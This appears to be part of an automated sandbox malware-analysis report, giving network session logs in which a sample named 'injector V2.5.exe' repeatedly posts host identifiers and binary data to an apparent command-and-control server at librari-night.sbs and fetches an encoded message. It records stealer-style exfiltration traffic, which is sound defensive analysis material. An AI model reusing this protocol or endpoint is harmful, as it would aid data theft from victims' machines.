2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 47 41 75 37 75 4c 70 66 78 6d 7a 41 30 63 35 44 47 4a 43 51 57 69 6c 59 31 50 65 46 75 78 6a 57 33 46 38 49 61 39 35 72 76 34 49 65 54 69 34 37 4f 63 35 56 71 73 4c 4d 44 6c 41 4d 7a 31 58 65 4f 39 34 58 73 31 30 76 7a 39 4b 4f 48 4e 77 39 42 37 73 6f 55 41 75 4f 37 6a 36 35 33 67 56 34 55 6c 34 65 6c 49 68 4f 6a 45 57 6b 79 51 4e 6d 79 54 2f 4c 33 74 39 66 6a 65 69 45 50 54 38 54 6a 59 51 75 4f 72 6e 41 46 69 7a 51 7a 34 68 42 42 64 2b 41 53 61 36 4e 52 72 54 44 65 68 72 55 48 46 36 63 73 78 56 6f 50 52 4f 49 47 6e 2b 34 76 39 76 57 4c 4e 66 62 7a 6b 63 63 69 39 55 66 65 35 30 57 38 77 38 6f 58 51 56 59 43 70 6f 73 42 44 30 34 55 34 32 61 62 2b 68 74 53 30 51 38 45 31 39 50 6e 6f 63 66 68 6b 6c 73 69 67 4b 6f 42 33 42 59 46 52 31 5a 48 4c 54 53 4c 6e 6a Data Ascii: GAu7uLpfxmzA0c5DGJCQWilY1PeFuxjW3F8Ia95rv4IeTi47Oc5VqsLMDlAMz1XeO94Xs10vz9KOHNw9B7soUAuO7j653gV4Ul4elIhOjEWkyQNmyT/L3t9fjeiEPT8TjYQuOrnAFizQz4hBBd+ASa6NRrTDehrUHF6csxVoPROIGn+4v9vWLNfbzkcci9Ufe50W8w8oXQVYCposBD04U42ab+htS0Q8E19PnocfhklsigKoB3BYFR1ZHLTSLnj
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 6d 30 74 79 67 5a 76 48 56 49 57 41 52 73 50 51 6c 6f 35 58 46 46 33 69 66 2b 4c 51 30 6d 4f 47 75 33 44 65 4f 6a 58 48 46 6e 34 65 4b 78 66 30 36 68 46 54 35 72 42 48 6f 39 53 43 75 76 4d 51 32 64 4e 65 77 71 61 30 68 4e 50 75 56 66 6f 75 4d 44 59 67 6a 37 73 36 30 42 4b 4f 5a 59 63 48 64 44 4e 47 78 50 5a 76 30 73 53 38 59 61 72 79 55 56 53 53 52 77 2b 68 37 73 73 7a 74 74 4a 2f 61 6c 73 53 35 62 31 46 56 35 65 46 49 79 63 41 4d 4a 76 6a 49 42 33 6d 32 76 61 78 55 75 4f 48 36 69 57 71 57 7a 56 6a 35 37 6f 2f 66 30 61 45 61 68 52 44 42 67 42 44 51 39 56 33 72 7a 59 78 6e 65 65 36 38 71 56 6d 52 34 4e 75 46 49 74 37 51 77 55 41 7a 76 6f 62 63 35 46 63 31 6c 56 58 56 43 4a 57 63 49 4c 70 73 44 53 39 42 6a 34 43 30 4e 54 79 70 34 6f 6d 48 36 73 78 59 75 63 Data Ascii: m0tygZvHVIWARsPQlo5XFF3if+LQ0mOGu3DeOjXHFn4eKxf06hFT5rBHo9SCuvMQ2dNewqa0hNPuVfouMDYgj7s60BKOZYcHdDNGxPZv0sS8YaryUVSSRw+h7sszttJ/alsS5b1FV5eFIycAMJvjIB3m2vaxUuOH6iWqWzVj57o/f0aEahRDBgBDQ9V3rzYxnee68qVmR4NuFIt7QwUAzvobc5Fc1lVXVCJWcILpsDS9Bj4C0NTyp4omH6sxYuc
2024-11-21 15:53:08 UTC	1369	IN	Data Raw: 76 46 62 46 2b 52 44 74 31 4e 48 34 50 4a 72 70 6a 46 4e 41 36 72 33 73 56 4c 6a 6c 2b 6f 6b 7a 30 71 30 34 70 4a 2f 57 6a 70 44 45 56 34 55 6c 34 65 6c 49 68 4f 6a 45 57 6b 69 67 4b 6a 69 37 2b 59 46 46 67 56 41 37 46 57 4c 48 30 4d 46 41 65 36 61 57 33 66 54 44 77 54 58 30 35 43 6d 4a 6c 54 33 44 39 42 41 32 62 4a 4b 38 6a 46 58 49 71 61 4b 4a 78 76 2f 49 65 59 7a 6a 31 70 72 46 39 4d 66 56 65 65 54 6b 4b 59 6e 46 50 63 50 30 73 47 70 6b 6c 36 6d 6f 5a 63 58 41 33 6f 68 44 30 2f 55 34 32 61 66 65 7a 6f 44 6b 54 39 42 64 34 64 30 70 69 59 6b 45 78 2f 54 56 4c 78 6e 43 68 4c 55 63 32 4d 6e 43 6c 55 4c 6e 79 44 57 41 71 36 72 43 68 50 41 44 77 48 45 42 48 5a 44 4a 2b 47 79 2b 4d 4c 67 2b 49 4e 75 78 39 55 6b 68 55 45 50 4a 64 6f 50 52 42 54 6a 6e 31 74 37 Data Ascii: vFbF+RDt1NH4PJrpjFNA6r3sVLjl+okz0q04pJ/WjpDEV4Ul4elIhOjEWkigKji7+YFFgVA7FWLH0MFAe6aW3fTDwTX05CmJlT3D9BA2bJK8jFXIqaKJxv/IeYzj1prF9MfVeeTkKYnFPcP0sGpkl6moZcXA3ohD0/U42afezoDkT9Bd4d0piYkEx/TVLxnChLUc2MnClULnyDWAq6rChPADwHEBHZDJ+Gy+MLg+INux9UkhUEPJdoPRBTjn1t7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:09 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RVW4WPQQS5P19VGZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: librari-night.sbs
2024-11-21 15:53:09 UTC	15331	OUT	Data Raw: 2d 2d 52 56 57 34 57 50 51 51 53 35 50 31 39 56 47 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 52 56 57 34 57 50 51 51 53 35 50 31 39 56 47 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 56 57 34 57 50 51 51 53 35 50 31 39 56 47 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 Data Ascii: --RVW4WPQQS5P19VGZContent-Disposition: form-data; name="hwid"F5DEADD4C3E4B5B74AFF5ADEC9E6BD77--RVW4WPQQS5P19VGZContent-Disposition: form-data; name="pid"2--RVW4WPQQS5P19VGZContent-Disposition: form-data; name="lid"HpOoIh--b701621bcd0
2024-11-21 15:53:09 UTC	2827	OUT	Data Raw: a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE
2024-11-21 15:53:10 UTC	998	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pomfgh2gg50ma2mi1vevh5g1sm; expires=Mon, 17-Mar-2025 09:39:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3dxJsfRKRZCzzC6vv%2FSwQN4fZ1B18g%2BDmnyPh%2FOxeqay9w84YC5u9UdJiwDxLEk6EGxpi8bXSBxLxoqA7gJ2EDrPvZHcsy2%2F4bOPnZ52PaqIkuYdrEhdePuJuhers7FpsftFRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9dc48e14294-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2843&recv_bytes=19119&delivery_rate=1619523&cwnd=228&unsent_bytes=0&cid=8b95c23c29627e80&ts=893&x=0"
2024-11-21 15:53:10 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 15:53:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49737	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:11 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LQFB2BLOIFOQ0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8761 Host: librari-night.sbs
2024-11-21 15:53:11 UTC	8761	OUT	Data Raw: 2d 2d 4c 51 46 42 32 42 4c 4f 49 46 4f 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 4c 51 46 42 32 42 4c 4f 49 46 4f 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 51 46 42 32 42 4c 4f 49 46 4f 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 0d 0a 2d 2d 4c 51 46 42 Data Ascii: --LQFB2BLOIFOQ0Content-Disposition: form-data; name="hwid"F5DEADD4C3E4B5B74AFF5ADEC9E6BD77--LQFB2BLOIFOQ0Content-Disposition: form-data; name="pid"2--LQFB2BLOIFOQ0Content-Disposition: form-data; name="lid"HpOoIh--b701621bcd05--LQFB
2024-11-21 15:53:12 UTC	1002	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gg3ar4u7skjmn5sv5f6r7mvfrc; expires=Mon, 17-Mar-2025 09:39:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vtNZGDPk1s9%2BT7%2F6eFxa6CYSD%2Bj42T2IcRO5rc2pU3QZwE7Z4Eejpoa3Gc%2BxjWZeRPHbKUT6O4ZEvI6kSr7o7O%2BpIFeDY5%2BCBqUEwqB%2BOQQfvpaSzY0V8geiEB0VFqjL0raxog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9ea6b920f71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9696&delivery_rate=1697674&cwnd=250&unsent_bytes=0&cid=035cfb7b07d6f631&ts=778&x=0"
2024-11-21 15:53:12 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 15:53:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:14 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NPY4APXRH68ZC8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20420 Host: librari-night.sbs
2024-11-21 15:53:14 UTC	15331	OUT	Data Raw: 2d 2d 4e 50 59 34 41 50 58 52 48 36 38 5a 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 4e 50 59 34 41 50 58 52 48 36 38 5a 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 50 59 34 41 50 58 52 48 36 38 5a 43 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 0d 0a 2d 2d 4e Data Ascii: --NPY4APXRH68ZC8Content-Disposition: form-data; name="hwid"F5DEADD4C3E4B5B74AFF5ADEC9E6BD77--NPY4APXRH68ZC8Content-Disposition: form-data; name="pid"3--NPY4APXRH68ZC8Content-Disposition: form-data; name="lid"HpOoIh--b701621bcd05--N
2024-11-21 15:53:14 UTC	5089	OUT	Data Raw: 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-11-21 15:53:15 UTC	996	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m0cpahchdjsnb89a5oefgeeqhb; expires=Mon, 17-Mar-2025 09:39:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ca38Lydn4LCaHPzIk0CA8c%2FvoW9P5uk1EdKCqY%2FzPake62W8ckifmyRHgKuzzJqLcAwonlAauhqgwwVnOEPJw34zbns3PXxcy138GYdveB%2B4h82FcvT9OojV4WwmngASCr4kiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61d9f8fa2c32ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1823&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21379&delivery_rate=1554018&cwnd=241&unsent_bytes=0&cid=5fd0697d83f8e9b5&ts=925&x=0"
2024-11-21 15:53:15 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 15:53:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:17 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=GNHDNTX4N2FH4O1BS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: librari-night.sbs
2024-11-21 15:53:17 UTC	1258	OUT	Data Raw: 2d 2d 47 4e 48 44 4e 54 58 34 4e 32 46 48 34 4f 31 42 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 47 4e 48 44 4e 54 58 34 4e 32 46 48 34 4f 31 42 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 47 4e 48 44 4e 54 58 34 4e 32 46 48 34 4f 31 42 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 Data Ascii: --GNHDNTX4N2FH4O1BSContent-Disposition: form-data; name="hwid"F5DEADD4C3E4B5B74AFF5ADEC9E6BD77--GNHDNTX4N2FH4O1BSContent-Disposition: form-data; name="pid"1--GNHDNTX4N2FH4O1BSContent-Disposition: form-data; name="lid"HpOoIh--b701621b
2024-11-21 15:53:17 UTC	992	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3aol4bddchgt1e61t6u9d6tlor; expires=Mon, 17-Mar-2025 09:39:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PpTjflgOpI9FgFb%2BAwVGvvygSOzq3x0vLyfEs7WwCTufudcF5Ycg10f9kpn%2FAWwsbMQ3uL%2BnCIEi7YM6vlg5EWA7BxqrJLxXSJu3thgwUNYEBaIhKwPZVXe9CSpYiOurEnIdoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61da0b6e15c463-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2286&sent=7&recv=9&lost=0&retrans=1&sent_bytes=4228&recv_bytes=2175&delivery_rate=239207&cwnd=159&unsent_bytes=0&cid=8c34c9e41df77ab2&ts=774&x=0"
2024-11-21 15:53:17 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 15:53:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:19 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6J2TM4YGL5Q2TFMP95 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1136 Host: librari-night.sbs
2024-11-21 15:53:19 UTC	1136	OUT	Data Raw: 2d 2d 36 4a 32 54 4d 34 59 47 4c 35 51 32 54 46 4d 50 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 36 4a 32 54 4d 34 59 47 4c 35 51 32 54 46 4d 50 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4a 32 54 4d 34 59 47 4c 35 51 32 54 46 4d 50 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 Data Ascii: --6J2TM4YGL5Q2TFMP95Content-Disposition: form-data; name="hwid"F5DEADD4C3E4B5B74AFF5ADEC9E6BD77--6J2TM4YGL5Q2TFMP95Content-Disposition: form-data; name="pid"1--6J2TM4YGL5Q2TFMP95Content-Disposition: form-data; name="lid"HpOoIh--b7016
2024-11-21 15:53:20 UTC	998	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vsoac0jjn9ehlbejqgdoheaohp; expires=Mon, 17-Mar-2025 09:39:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fg%2FHIbj6dhC8zmm13%2FCWAluZtZlnrrz8uzCSrfkEcWNVSql2DBNgJoenBarKYm9W89MKEWYNvBYbpfxpr8me1z%2FpgOVHSgpKWj1Qb5LmlZQSrCMKU1e4OEV7m%2FP7eHilCskCbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61da18ccca4297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2477&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2054&delivery_rate=1174105&cwnd=243&unsent_bytes=0&cid=d3eb6e8ed1c61741&ts=1522&x=0"
2024-11-21 15:53:20 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 15:53:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49746	172.67.206.172	443	4928	C:\Users\user\Desktop\injector V2.5.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 15:53:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: librari-night.sbs
2024-11-21 15:53:22 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 37 30 31 36 32 31 62 63 64 30 35 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 46 35 44 45 41 44 44 34 43 33 45 34 42 35 42 37 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--b701621bcd05&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=F5DEADD4C3E4B5B74AFF5ADEC9E6BD77
2024-11-21 15:53:22 UTC	993	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 15:53:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2q3ekbf1fu5sk621gasl735jn5; expires=Mon, 17-Mar-2025 09:40:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RxVoMyXKj8bjHZ%2Bc4W5VCSGif3XJVGVTguIZaQaRFQQ9B8dGg7N%2FmEBL4e9zA24OXqs6RaJ8SC%2FO9XUntrFRc7TuSpw3RwfD2npbGUlobGhOydI7Oxvdbdsx4uW52PrylIMcZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e61da2b3dc4429e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1023&delivery_rate=1616832&cwnd=192&unsent_bytes=0&cid=6501d746546b98d0&ts=753&x=0"
2024-11-21 15:53:22 UTC	54	IN	Data Raw: 33 30 0d 0a 53 7a 30 30 4a 65 77 6d 31 54 73 64 6e 58 35 61 75 38 52 67 4a 6b 65 38 69 44 70 5a 5a 62 31 32 58 73 6f 63 55 38 43 6f 73 4e 4d 51 59 41 3d 3d 0d 0a Data Ascii: 30Sz00Jewm1TsdnX5au8RgJke8iDpZZb12XsocU8CosNMQYA==
2024-11-21 15:53:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:52:55
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\injector V2.5.exe
Wow64 process (32bit):	true
